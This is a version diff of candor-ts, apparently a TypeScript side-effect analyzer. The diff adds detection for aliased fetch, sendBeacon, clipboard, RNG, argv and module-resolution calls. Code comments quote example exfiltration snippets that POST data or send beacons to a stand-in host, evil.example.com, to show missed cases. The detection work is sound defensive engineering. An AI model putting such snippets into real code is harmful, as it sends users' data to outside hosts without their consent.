candor-ts 0.29.0 → 0.29.1

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "candor-ts",
-  "version": "0.29.0",
+  "version": "0.29.1",
   "description": "candor for TypeScript \u2014 per-function side effects, transitively, with a policy gate (candor-spec 0.29)",
   "type": "module",
   "dependencies": {

package/scan-core.mjs

@@ -60,7 +60,13 @@ export const KAPPA_RULES = [
   // `receiveMessageOnPort` reads it. Covers `worker.postMessage`, `parentPort.postMessage`, and a
   // `MessagePort`'s `.postMessage` (all typed from this module). `new Worker(...)` spawns the thread but
   // construction is inert here (like the net-cluster ctors) — the message verbs are the IPC boundary.
-  [/^(node:)?worker_threads$/, /^(postMessage|receiveMessageOnPort)$/, "Ipc"],
+  // …AND `postMessageToThread`, node 22's MODULE-LEVEL send. The name is anchored, so the newer API
+  // slipped past a rule that already covered every other spelling: `parentPort.postMessage`,
+  // `worker.postMessage`, a `MessagePort`'s `.postMessage` and `receiveMessageOnPort` were all Ipc while
+  // `postMessageToThread(id, value)` — the same channel, addressed by thread id — read PURE. Found by
+  // enumerating each builtin's EXPORTS and diffing them against what the table charges, rather than by
+  // testing the spellings someone already thought of.
+  [/^(node:)?worker_threads$/, /^(postMessage|postMessageToThread|receiveMessageOnPort)$/, "Ipc"],
   // node:cluster — `fork()` spawns a worker PROCESS and wires its IPC channel.
   [/^(node:)?cluster$/, /^fork$/, "Ipc"],
   // node:vm executes a runtime-supplied code STRING in-process — `runInThisContext`/`runInContext`/
@@ -162,7 +168,15 @@ export const KAPPA_RULES = [
   // node:os identity reads — userInfo (the OS user record) and hostname (the machine name) are
   // environment/host reads (Env), like System.getenv's host-identity cousins. The rest of node:os
   // (platform/arch/cpus/totalmem/…) is inert host introspection, left pure.
-  [/^(node:)?os$/, /^(userInfo|hostname)$/, "Env"],
+  // …AND `tmpdir`/`homedir`, which this list read as pure until a cross-engine parity sweep asked why.
+  // They are not introspection: node resolves `homedir()` from `$HOME` and `tmpdir()` from
+  // `$TMPDIR`/`$TMP`/`$TEMP`, so they are ENVIRONMENT VARIABLE READS behind a convenience name — the
+  // rule this line already applies to `userInfo`/`hostname`, and the reason `platform`/`arch` stay out.
+  // candor-rust charges the identical operations (`std::env::temp_dir`, `env::var("HOME")`,
+  // `env::current_dir`) as Env, so ts was the outlier AND inconsistent with ITSELF: `os.hostname()` was
+  // Env while `os.homedir()` was pure. MEASURED 2026-08-18: `deny Env` answered exit 0 over
+  // `os.homedir()`. `platform`/`arch`/`cpus` are untouched — they read no variable.
+  [/^(node:)?os$/, /^(userInfo|hostname|tmpdir|homedir)$/, "Env"],
   [/^(argon2|bcrypt|bcryptjs)$/, null, "Rand"],
   // The ORM tier — VERB-PRECISE (the CLASSIFIER discipline: tag the execution boundary, not
   // builders; `createQueryBuilder` is pure, its `getMany`/`execute` is the I/O). Found on the

package/scan.mjs

@@ -2156,6 +2156,84 @@ const corruptDepPkgs = new Set();
 if (allowJs) { compilerOptions.allowJs = true; compilerOptions.checkJs = false; }
 const program = ts.createProgram(fileNames, compilerOptions);
 const checker = program.getTypeChecker();
+
+/** A LOCAL ALIAS OF A GLOBAL IS STILL THAT GLOBAL — unwrap the binding to the node it was bound FROM.
+ *
+ * The global classifiers key on the callee/ctor NODE TEXT (`callee.text === "fetch"`,
+ * `ctorName === "WebSocket"`), so `const send = fetch; send(url)` and `const W = WebSocket; new W(url)`
+ * matched nothing and read PURE. Measured on published 0.29.0: `deny Net` answered exit 0 over a POST of
+ * caller data to an external host.
+ *
+ * DEFINED ONCE, ON PURPOSE. This defect has now appeared in three spellings — the bare identifier, the
+ * `globalThis.` qualifier, and the alias — each fixed where it was found. A second private copy of this
+ * unwrap is how the fourth spelling gets missed, so the call path and the `new` path share this.
+ *
+ * Returns the INITIALIZER NODE, never a name, so every caller's existing shadow guard still decides: a
+ * project-local `fetch` reached through an alias resolves to a project-local declaration and fabricates
+ * nothing. Bounded to 4 hops and only through identifier/property-access initializers — a rebinding,
+ * never a computed value, so this never follows a call or a conditional into a wrong answer.
+ */
+// 16, not 4: the bound exists to stop pathological input, not to decide real code. At 4 a FIVE-deep
+// chain tripped the fail-closed arm and charged Unknown — truthful (the analysis did stop looking)
+// but imprecise, and it would have fired on an ordinary chain of renamed PURE helpers too. Set it
+// where hand-written code never reaches it, so the honest-but-vague answer is reserved for input
+// that is actually pathological.
+const ALIAS_HOPS = 16;
+/** Symbols REASSIGNED somewhere in a file — `send = fetch`, `send = helper`. Built once per file.
+ *
+ * The unwrap below reads a declaration's INITIALIZER, and an initializer is not a value: for
+ * `let send = fetch; send = helper; send(url)` it answered `fetch` and charged Net over a call that
+ * reaches a pure local — a FABRICATION this fix introduced, which 0.29.0 did not have. The mirror case
+ * is worse: `let send; send = fetch; send(url)` has no initializer at all, so the unwrap returned the
+ * bare identifier and the call read silent-pure — the cardinal-sin spelling of the very defect the
+ * unwrap exists to close.
+ *
+ * One rule fixes both. A binding that is assigned anywhere is one whose value this analysis does not
+ * know, so it resolves to neither answer: it is reported UNKNOWN, through the same `truncated` path a
+ * too-long alias chain takes. A binding that is never reassigned still resolves precisely. */
+const reassignedCache = new WeakMap();
+const reassignedIn = (sf) => {
+  let set = reassignedCache.get(sf);
+  if (set) return set;
+  set = new Set();
+  const walk = (n) => {
+    if (ts.isBinaryExpression(n) && n.operatorToken.kind === ts.SyntaxKind.EqualsToken
+        && ts.isIdentifier(n.left)) {
+      const sym = checker.getSymbolAtLocation(n.left);
+      if (sym) set.add(sym);
+    }
+    ts.forEachChild(n, walk);
+  };
+  walk(sf);
+  reassignedCache.set(sf, set);
+  return set;
+};
+const unaliasGlobal = (expr) => {
+  let hop = 0;
+  for (; hop < ALIAS_HOPS && ts.isIdentifier(expr); hop++) {
+    const sym = checker.getSymbolAtLocation(expr);
+    const decl = (sym?.declarations ?? [])[0];
+    // ASSIGNED SOMEWHERE ⇒ its value is not its initializer. Neither answer is available, so say so.
+    if (sym && decl && reassignedIn(decl.getSourceFile()).has(sym)) return { node: expr, truncated: true };
+    if (!decl || !ts.isVariableDeclaration(decl) || !decl.initializer) return { node: expr, truncated: false };
+    const init = decl.initializer;
+    if (!ts.isIdentifier(init) && !ts.isPropertyAccessExpression(init)) return { node: expr, truncated: false };
+    expr = init;
+  }
+  // THE BOUND MUST FAIL CLOSED. Stopping because the CHAIN ENDED is an answer; stopping because the
+  // BUDGET ended is not — and the first cut of this helper returned the same thing for both, so a
+  // 5-deep alias chain read PURE while a 4-deep one read Net. That is my own fix failing open at its
+  // own edge: a cliff where the analysis silently stops looking. `truncated` says which happened, and
+  // the callers charge Unknown on it — the posture this engine already takes for a callee it cannot
+  // resolve (a parameter call reports Unknown, never nothing).
+  const stillGoing = ts.isIdentifier(expr)
+    && (() => {
+      const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
+      return !!d && ts.isVariableDeclaration(d) && !!d.initializer
+        && (ts.isIdentifier(d.initializer) || ts.isPropertyAccessExpression(d.initializer));
+    })();
+  return { node: expr, truncated: hop >= ALIAS_HOPS && stillGoing };
+};
 const projectFiles = new Set(fileNames.map((f) => path.resolve(f)));
 const sources = program.getSourceFiles().filter((f) => projectFiles.has(path.resolve(f.fileName)));
 
@@ -4062,6 +4140,18 @@ const identIsGlobalProcess = (id) => {
 const isProcessEnvExpr = (expr) =>
   expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "env" && identIsGlobalProcess(expr.expression);
 
+// …AND `process.argv`, which is the same channel. §1 defines Env as "reading environment variables /
+// THE PROCESS ENVIRONMENT", and argv is process-startup state delivered by the same `exec` call that
+// delivers envp — secrets arrive through it (`--token=…`) exactly as they do through a variable.
+// candor-rust has always charged `std::env::args()` as Env; ts and swift read it as PURE, so a
+// cross-engine parity sweep found the three engines answering one question two ways, with NO
+// conformance row to catch it. This is conformance to §1's existing wording, not a new clause.
+// (The adjacent java ruling does NOT transfer: `System.getProperty` is excluded there because charging
+// it "flooded a scala-library scan with a spurious 14k Env" — JVM `-D` config read pervasively at
+// class-init. `argv` is read once in a main.)
+const isProcessArgvExpr = (expr) =>
+  expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "argv" && identIsGlobalProcess(expr.expression);
+
 // The set of local-binding SYMBOLS that alias process.env — collected below, one pre-pass over the
 // sources. A symbol lands here iff its ONLY initializer/assignment is `= process.env` (a reassignment
 // to anything else removes it → the alias is cleared, per the spec's reassignment rule).
@@ -4622,12 +4712,50 @@ function visitCalls(node) {
               else rec.incomplete.add("Net");
             }
           }
+          // `navigator.sendBeacon(url, data)` — Net, and the one this set most needed. It exists to POST
+          // data to a server on page-unload, it is what analytics and telemetry reach for, and it read
+          // PURE: `deny Net` answered exit 0 over
+          //     navigator.sendBeacon("https://evil.example.com/collect", data)
+          // on published 0.29.0. Found by sweeping the ALIAS spelling across every effect-global — the
+          // alias was the question, and the DIRECT call turned out to be missing too.
+          // The URL is argument 0. No literal ⇒ `incomplete: Net`, the same fail-closed posture the
+          // `open`/ctor branches take, so a runtime endpoint cannot be certified by an allowlist.
+          // `navigator.clipboard.writeText/readText/write/read` — Clipboard, a §6.1 BOUNDARY effect:
+          // data leaves the program on write and arrives from outside it on read. The family rolled
+          // Clipboard out everywhere (candor-swift charges NSPasteboard in both directions, candor-rust
+          // charges arboard), and the WEB clipboard was the hole: it read PURE, so
+          //     await navigator.clipboard.writeText(secret)   under `deny Clipboard`  →  exit 0, policy ✓
+          // on published 0.29.0. Found by sweeping every effect-bearing global rather than the one that
+          // prompted the sweep. `clipboardy` was never affected — an import resolves through κ.
+          if (parent === "Clipboard"
+              && (name === "writeText" || name === "readText" || name === "write" || name === "read")) {
+            rec.direct.add("Clipboard");
+          }
+          if (parent === "Navigator" && name === "sendBeacon") {
+            rec.direct.add("Net");
+            const u = (node.arguments ?? [])[0];
+            const lit = u && ts.isStringLiteralLike(u)
+              ? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
+            const h = lit ? hostLiteral(lit) : null;
+            if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
+            else rec.incomplete.add("Net");
+          }
+          // `crypto.getRandomValues(buf)` — the Web Crypto RNG is Rand, and `Rand` is in the vocabulary.
+          // Node's `randomBytes` was already charged because it arrives through an IMPORT; the browser
+          // global resolves to lib.dom and was charged nothing, so `deny Rand` passed over it.
+          if (parent === "Crypto" && (name === "getRandomValues" || name === "randomUUID")) {
+            rec.direct.add("Rand");
+          }
           // `new EventSource(url)` / `new WebSocket(url)`: the constructor is declared on an anonymous
           // `declare var` object type (symbol `__type`, no usable parent name), but reaching the es-lib
           // branch already proves the ctor resolved to lib.dom (not a project class shadowing the name),
           // so the constructed identifier is the real browser global.
           if (ts.isNewExpression(node)) {
-            const ctorName = node.expression.getText();
+            // …through an alias too: `const W = WebSocket; new W(url)` reads a ctor named "W".
+            // Same defect as the call path, one node type over — hence the SHARED unwrap.
+            const unCtor = unaliasGlobal(node.expression);
+            const ctorName = unCtor.node.getText();
+            if (unCtor.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
             if (ctorName === "EventSource" || ctorName === "WebSocket") {
               rec.direct.add("Net");
               // The URL is argument 0 of both constructors — see the XHR note above for the measurement.
@@ -4947,6 +5075,11 @@ function visitCalls(node) {
   // on process.env or a confirmed alias, destructuring a key off it, and the `in` membership test.
   {
     const markEnv = () => { const owner = enclosing(node); if (owner) fns.get(owner).direct.add("Env"); };
+    // `process.argv` — the same channel, and the same ruling candor-rust has always applied to
+    // `std::env::args()`. Reading the ARRAY is the read: `process.argv[2]`, `process.argv.slice(2)`,
+    // `const [,,x] = process.argv`, or handing it to a parser all reach the same process-startup state.
+    // Marked on the expression itself so every idiom counts without enumerating them.
+    if (isProcessArgvExpr(node)) markEnv();
     // `process.env.KEY` / `env.KEY` (dot) and `process.env["KEY"]` / `env[k]` (bracket, literal OR dynamic key).
     if ((ts.isPropertyAccessExpression(node) || ts.isElementAccessExpression(node)) && readsProcessEnv(node.expression)) {
       markEnv();
@@ -4981,7 +5114,33 @@ function visitCalls(node) {
   // callee — `process.*` by exact text (mirroring the process.env match), `fetch` by identifier whose
   // symbol is NOT a local declaration (so a project's own `fetch` shadow never fabricates Net).
   if (ts.isCallExpression(node)) {
-    const callee = node.expression;
+    // …AND THROUGH A LOCAL ALIAS OF THE GLOBAL, which is the spelling this block kept missing.
+    //
+    // Every test below reads the CALLEE NODE — `callee.text === "fetch"`, `ctext === "globalThis.fetch"`.
+    // `const send = fetch; send(url)` has callee `send`, so it matched nothing and the call vanished:
+    //
+    //     export async function exfil(data: string) {
+    //       const send = fetch;
+    //       await send("https://evil.example.com/collect", { method: "POST", body: data });
+    //     }
+    //     deny Net  →  exit 0, `policy ✓`, 0 effectful functions          MEASURED on published 0.29.0
+    //
+    // A POST of caller data to an external host, certified clean: the cardinal sin. It is also the THIRD
+    // spelling of one defect — the comment below records `globalThis.fetch` "read silent-pure" until it
+    // was added beside the bare identifier. Fixing the instance and not the class is what left this one.
+    //
+    // Imports were never affected (`const g = fs.readFileSync; g(p)` charges Fs, and so do the named and
+    // destructured forms) because those resolve through the symbol table. Only the GLOBALS matched here
+    // are keyed by text, so only they needed unwrapping. candor-rust and candor-swift both charge the
+    // aliased form already; this was ts alone.
+    //
+    // SHADOW-SAFE, which is the whole reason the guards below test the symbol rather than the name: the
+    // unwrap yields the INITIALIZER NODE, so `const send = fetch` where `fetch` is a project-local
+    // declaration still fails the "not declared in this project" test and fabricates nothing. Bounded to
+    // 4 hops, and only through a plain identifier/property-access initializer — a rebinding, never a
+    // computed value, so nothing here follows a function call or a conditional into a wrong answer.
+    const un = unaliasGlobal(node.expression);
+    const callee = un.node;
     const ctext = callee.getText().replace(/\s+/g, "");
     let geff = null;
     // The member path AFTER the global `process` object, or null: `process.hrtime` → "hrtime",
@@ -5005,15 +5164,70 @@ function visitCalls(node) {
     else if (ts.isIdentifier(callee) && importedFromNetPkg(callee))
       geff = "Net"; // a bare call to an HTTP-client default/named import (installed → sig resolves here) — #13
 
-    else if (ts.isIdentifier(callee) && callee.text === "fetch"
-             && !(checker.getSymbolAtLocation(callee)?.declarations ?? [])
-                  .some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName))))
+    // …AND `fetch` REACHED THROUGH AN IMPORT, which this guard was treating as the project's own.
+    //
+    // The guard asks "is this fetch declared in a project file?", so a project's own `fetch` never
+    // fabricates Net. For `import { fetch } from "node-fetch-native/proxy"` the symbol's declaration is
+    // the IMPORT SPECIFIER — which lives in the importing file, a project file — so the guard said yes
+    // and withheld Net. Declared-in-a-project-file is not DEFINED-BY-the-project.
+    //
+    // MEASURED, and the shape is a MONOTONICITY VIOLATION:
+    //     without node_modules → `exfil` reports Unknown        (honest — the import did not resolve)
+    //     WITH node_modules    → `exfil` reports NOTHING, pure  (silent)
+    // Installing dependencies gives the analyzer MORE information and produced a LESS safe answer, and
+    // `deny Net` certified `await fetch("https://evil.example.com/collect", {method:"POST", body:data})`.
+    // Found on REAL code: giget's `_utils.download`, a function whose whole job is an HTTP download,
+    // reported `['Fs']` alone with its 474 packages installed.
+    //
+    // Resolve THROUGH the alias: the aliased symbol's declaration says whether the project defines this,
+    // and its NAME says whether it is `fetch` — so a renamed `import { fetch as nfn }` is caught too,
+    // where the callee text is `nfn`. `import { fetch } from "./my-mock"` still lands in a project file
+    // and still charges nothing.
+    else if (ts.isIdentifier(callee) && (() => {
+      const sym0 = checker.getSymbolAtLocation(callee);
+      if (!sym0) return false;
+      // WHERE DID IT COME FROM? The module SPECIFIER decides, not file-set membership. A RELATIVE
+      // import is the project's own module by definition; a BARE specifier is a package. Keying on
+      // `projectFiles` instead was wrong and the control caught it: scanning a single FILE leaves a
+      // sibling `./mock` outside the analyzed set, so a project's own mock fabricated Net. The
+      // specifier is the same thing κ classifies on, and it does not move with the scan's shape.
+      for (const d of sym0.declarations ?? []) {
+        const imp = ts.isImportSpecifier(d) ? d.parent?.parent?.parent
+                  : ts.isImportClause(d) ? d.parent
+                  : ts.isNamespaceImport(d) ? d.parent?.parent : null;
+        const spec = imp && ts.isImportDeclaration(imp) ? imp.moduleSpecifier : null;
+        if (spec && ts.isStringLiteralLike(spec)) {
+          if (spec.text.startsWith(".") || spec.text.startsWith("/")) return false;   // the project's own
+          let t = sym0;
+          if (t.flags & ts.SymbolFlags.Alias) { try { t = checker.getAliasedSymbol(t); } catch { /* unresolved */ } }
+          if ((t?.getName?.() ?? callee.text) !== "fetch") return false;
+          // …AND IT MUST BE SHAPED LIKE FETCH. The name alone is not evidence: a package exporting a pure
+          // `fetch(key)` cache-getter was charged Net, and this file's own header says "resolve, don't
+          // pattern-match". The checker already knows the answer — the web API returns `Promise<Response>`,
+          // a cache-getter returns `{ key: string }` — so ask it rather than trusting the identifier.
+          // Only the IMPORT rule is gated this way; the ambient global stays as it was, because it is
+          // lib.dom's `fetch` by definition and would otherwise stop being charged wherever lib.dom is
+          // absent. When no signature resolves at all, this returns false and the call falls through to
+          // the unresolved-import path, which discloses Unknown — never a concrete effect on a guess.
+          const rt = checker.getTypeAtLocation(callee);
+          for (const sg of (rt?.getCallSignatures?.() ?? [])) {
+            if (/\bResponse\b/.test(checker.typeToString(checker.getReturnTypeOfSignature(sg)))) return true;
+          }
+          return false;
+        }
+      }
+      // Not an import at all: the ambient global, unless the project declares its own.
+      if (callee.text !== "fetch") return false;
+      return !(sym0.declarations ?? []).some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
+    })())
       geff = "Net";
     // the fully-qualified global fetch — `globalThis.fetch`/`window.fetch`/`self.fetch` — is a
     // PropertyAccess callee the bare-identifier guard above misses, so it read silent-pure. Mirror the
     // `eval` global-qualifier handling (a runtime global a project would not shadow).
     else if (ctext === "globalThis.fetch" || ctext === "window.fetch" || ctext === "self.fetch")
       geff = "Net";
+    // An alias chain this helper stopped following is an UNRESOLVED callee, not a pure one.
+    if (un.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
     if (geff) {
       const owner = enclosing(node);
       if (owner) {
@@ -5057,6 +5271,64 @@ function visitCalls(node) {
       const owner = enclosing(node);
       if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add("reflect:require"); }
     }
+    // MODULE RESOLUTION READS THE FILESYSTEM — `require.resolve(m)`, `createRequire(u).resolve(m)`,
+    // `import.meta.resolve(m)`. None of them EXECUTES the module (that is the `require(m)` arm above,
+    // which discloses Unknown), but all three walk directories, read `package.json` files, and throw
+    // MODULE_NOT_FOUND based on what they find: the answer is a function of what is on disk. It read PURE.
+    //
+    // Found by the MONOTONICITY oracle, and only by it: nypm's `doesDependencyExist` reported `Unknown`
+    // with its dependencies absent and NOTHING once they were installed. (Two of that oracle's three
+    // hits were legitimate refinements — consola resolving `string-width`/`strip-ansi` to genuinely pure
+    // functions — so the instrument narrows the search, it does not decide.)
+    //
+    // INCOMPLETE, never a `paths` literal: the argument is a MODULE SPECIFIER, not a path, and the files
+    // actually touched are a directory walk nobody wrote down. Publishing the specifier as a path would
+    // fabricate a location; marking the surface incomplete is the fail-closed posture the masking guard
+    // already takes for a runtime path, and the honest one for a call that reads unpredictable places.
+    // Breadth measured before shipping: 2 of 34 cloned TS packages call these at all.
+    {
+      const ct2 = callee.getText().replace(/\s+/g, "");
+      // SHADOW-GUARDED, like the `require(m)` arm one screen up — which this one originally was not.
+      // Matching on TEXT alone charged Fs for a project's own `const require = { resolve: … }` shim, a
+      // DI-injected `require` parameter, and a function merely NAMED `fakecreateRequire`. That is the
+      // fabrication direction, in a rule whose sibling already carries the guard and says why: "a
+      // project's own `require()` shadow never fabricates". Fixing an instance while its sibling
+      // documents the class is this codebase's recurring failure, so the guard is reused verbatim.
+      // RESOLVE THROUGH THE ALIAS — the same trap the `fetch` guard fell into. `import { createRequire }
+      // from "node:module"` declares an ImportSpecifier IN THE IMPORTING FILE, so a declaration-site test
+      // calls node's own function "the project's", and the first cut of this guard duly dropped the real
+      // `createRequire(u).resolve(n)` to pure. What decides is where the symbol is DEFINED.
+      const notProjectDeclared = (id) => {
+        let sym = checker.getSymbolAtLocation(id);
+        if (!sym) return true;                                  // ambient global (node's `require`)
+        if (sym.flags & ts.SymbolFlags.Alias) {
+          try { sym = checker.getAliasedSymbol(sym); } catch { /* unresolved import — treat as external */ }
+        }
+        const decls = sym?.declarations ?? [];
+        return !decls.some((d) => projectFiles.has(path.resolve(d.getSourceFile().fileName)));
+      };
+      const fromCreateRequire = (expr) => {
+        if (!ts.isIdentifier(expr)) return false;
+        const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
+        if (!d || !ts.isVariableDeclaration(d) || !d.initializer) return false;
+        if (!ts.isCallExpression(d.initializer)) return false;
+        const ce = d.initializer.expression;
+        // The CALLEE'S OWN NAME must be createRequire — `.endsWith` made `fakecreateRequire()` match.
+        const nm = ts.isIdentifier(ce) ? ce.text
+                 : ts.isPropertyAccessExpression(ce) ? ce.name.text : "";
+        if (nm !== "createRequire") return false;
+        return !ts.isIdentifier(ce) || notProjectDeclared(ce);
+      };
+      const modResolve = ct2 === "import.meta.resolve"
+        || (ct2 === "require.resolve" && ts.isPropertyAccessExpression(callee)
+            && ts.isIdentifier(callee.expression) && notProjectDeclared(callee.expression))
+        || (ts.isPropertyAccessExpression(callee) && callee.name.text === "resolve"
+            && fromCreateRequire(callee.expression));
+      if (modResolve) {
+        const owner = enclosing(node);
+        if (owner) { const r = fns.get(owner); r.direct.add("Fs"); r.incomplete.add("Fs"); }
+      }
+    }
     // Object.assign(target, ...sources) copies each SOURCE's own enumerable props → invokes their
     // getters (the object-spread twin). Enumerate the sources' local getters.
     if (callee.getText().replace(/\s+/g, "") === "Object.assign") {